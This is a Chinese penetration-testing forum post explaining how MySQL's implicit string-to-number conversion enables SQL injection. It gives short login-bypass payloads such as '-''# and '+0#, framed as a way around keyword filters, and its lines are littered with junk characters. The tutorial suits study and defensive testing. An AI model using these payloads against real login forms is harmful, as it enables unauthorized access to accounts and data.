中国网络渗透测试联盟

标题: 使用MySQL字符串运算实施精巧化SQL注入攻击 [打印本页]

作者: admin    时间: 2013-11-23 16:20
标题: 使用MySQL字符串运算实施精巧化SQL注入攻击
我们先来看这样一个场景。
/ h2 Z# X+ f! S4 q有以下表结构:
# g; R( ~  g9 J, B6 A
. h" h, z) _( Lmysql> desc admin;9 g! g6 ~/ x  D# T# N9 m8 U% @1 s
+----------+--------------+------+-----+---------+----------------+/ v) @% B' k. @4 e" W9 g
| Field    | Type         | Null | Key | Default | Extra          |* M& ?" g" r. V- p
+----------+--------------+------+-----+---------+----------------+9 P$ [; I1 j% J% b7 x
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
) B) K1 U+ U* c$ \| name     | char(32)     | NO   | UNI | NULL    |                |
  E7 `* M1 ]! N) N9 I, A( q| password | char(32)     | NO   | UNI | NULL    |                |
& g0 d7 I* N9 [. k  X5 D8 y) B+----------+--------------+------+-----+---------+----------------+
& G4 k( n" w: H0 Z8 Y5 \8 G7 f3 rows in set (0.00 sec)
5 ?/ s' a  c! v4 k, F执行select * from admin;,成功返回所有记录内容。
& O3 y' V1 q0 F; D- Q) O. ?  Q; C- Z  X$ e! R* y: X7 F5 J. d
; r( G* B2 _$ V/ b8 H2 K- b1 o
+----+--------+----------------------------------+
* C( ?' u3 {8 J8 F5 X) i| id | name   | password                         |* t$ }, J/ b4 w
+----+--------+----------------------------------+
& _; X- X3 \  z( Q+ h4 @|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
& O( }/ ?: r/ H  n. Z' O9 L|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* n' [& t4 r- L  O5 j|  4 | n00b   | ff80e8508d39047460921792273533a4 |9 K# [2 M& j! `
+----+--------+----------------------------------+6 Z# J% w, [) ^5 A$ G
3 rows in set (0.00 sec)4 e- T8 W- i& i' Q% |1 V" z8 t
执行select * from admin where name=”;,没有匹配到任何记录。 , Y7 Q: B3 {. M+ E1 T/ |

' ?% T& j. t# M3 d/ Bmysql> select * from admin where name = '';
6 c0 K  t1 F7 G+ b! c/ _$ OEmpty set (0.00 sec)1 {: x% m) e5 J4 V' ?
那么我们来执行select * from admin where name = ”-”;
8 b, {1 Y4 r9 l
5 }6 i0 N  Z: O7 C* @# o2 l
% {4 Z) p, z  S+----+--------+----------------------------------+
2 O$ S; f! J% D| id | name   | password                         |
0 K! }0 ^. H. ]. U, S+----+--------+----------------------------------+  f& ^. N0 _9 J( [1 y
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
; @5 r* B8 N9 i* a. I- F5 Z|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# @3 F. ~3 a) `  e# s9 q5 D! m9 o, u# m
|  4 | n00b   | ff80e8508d39047460921792273533a4 |& }" {6 s5 t. K% \1 o
+----+--------+----------------------------------+
# k. ^8 j2 A2 |( @/ C' ~2 H0 S3 rows in set, 3 warnings (0.00 sec)1 e- ?1 I% A. j% e
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
7 x' L" B, F3 q6 I7 U0 m. B, w0 o% h# }) n) w$ o; I
mysql> show warnings;
6 Q( @8 ^; j* L* @+---------+------+------------------------------------------7 t; c  K; B: E6 |$ D2 q
| Level   | Code | Message0 x6 @& n+ v, O4 S. {$ F
+---------+------+------------------------------------------, c, Z7 g+ b# J3 Z, }/ l
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin5 A% h' d" i/ E1 ~) }- l
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
6 |$ S' A" C  b- I| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
, d2 L, H4 I, H8 {' j+---------+------+------------------------------------------
8 k, f3 A7 P1 s% W+ p5 x3 rows in set (0.00 sec)
/ m$ w7 G9 r( x7 o& P提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 % d$ N2 ?: k7 H" U& m- f* Y

1 U( Z, x  N5 t9 b7 G' zmysql> select ''-'';, J2 Y) h; l, _4 n
+-------+
- j# p5 M4 ~0 Z) [/ L/ O| ''-'' |
4 ^& A* R$ U# ]* m0 l- n2 t* i3 P3 C+-------+
1 o6 a! Y4 w: f' w|     0 |9 l0 S1 ^; I8 b
+-------+
  T7 F1 }+ Q. v" U' c1 row in set (0.00 sec)
# Q3 \4 i6 @& ]) a/ o# y) L返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 6 E7 z* d: y2 i7 e' z
6 H7 ^$ F/ @. t( p3 q  X. b; r
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);4 n. b8 Q; D8 A$ {  K2 `
+-----------------------------------------------------+- i  ^# q& m& C. ?
| CAST((select name from admin limit 1,1) as DECIMAL) |" G( f# u# M0 I
+-----------------------------------------------------+
7 j  A3 j9 G* Z  n" i3 P|                                                   0 |
/ f$ `" _5 s# m6 k0 I/ C; z+-----------------------------------------------------+0 t5 g. U3 R, z. C$ P, ]7 ?6 o" l
1 row in set, 1 warning (0.00 sec)
  _! C7 l6 |& u$ y: J5 O7 x因此where语句构成了相等的条件,where 0=”=”,记录被返回。 . X& F' U$ P2 s, j7 F# Q/ J, S

) H0 ~* ~) G7 I6 F8 _SQL注入场景: http://www.sqlzoo.net/hack/
# _! Z; k1 s$ K, }4 G0 P& m+ ~2 Y, M! Y) y
( |6 a, X( i& U

: B! _1 E2 ~, j3 p4 M! n+ T2 A/ r0 e1 A( u1 ]( x+ g; w
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 4 @$ F- f" O: A/ p8 B" V

# W5 R% R- s0 l0 W  o6 }那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
) X) k- E( b: {" p
( [* o! v( T( p  }# x& W9 m9 m- n7 ]
, J5 ?$ b: O  ~! Y3 T

' y( S! r& G. C4 ?仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
3 M% T0 v! `/ ]+ R8 Q
( p& R& g, y; j   ! Y" {' x9 C. ^, l" {' ~

9 ~& t+ L6 {) \) u/ M/ m  v, L除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
2 b1 V& n& V& q$ P/ n0 J- x. v# c; }) i: K$ ]
: ], u- ]& J" [' I; q
mysql> select ''/1;4 r9 }! z% O% B5 S8 v- u  Q
+------+0 s0 f+ Y; Z+ c/ C) z  Z
| ''/1 |9 R0 o. |1 H8 b! K- v
+------+  i' k7 e' l# b; n" h
|    0 |8 w9 I* U# V' y  S6 h2 j
+------+
1 N# |* l6 N" X  T1 row in set (0.00 sec)
* `6 M- z3 \6 C0 B类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
) Y1 L6 _) I, T$ d" T: A, f
8 l& d, V6 d  H/ [9 @1 |利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。1 r  q# z( z  d. W8 R





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2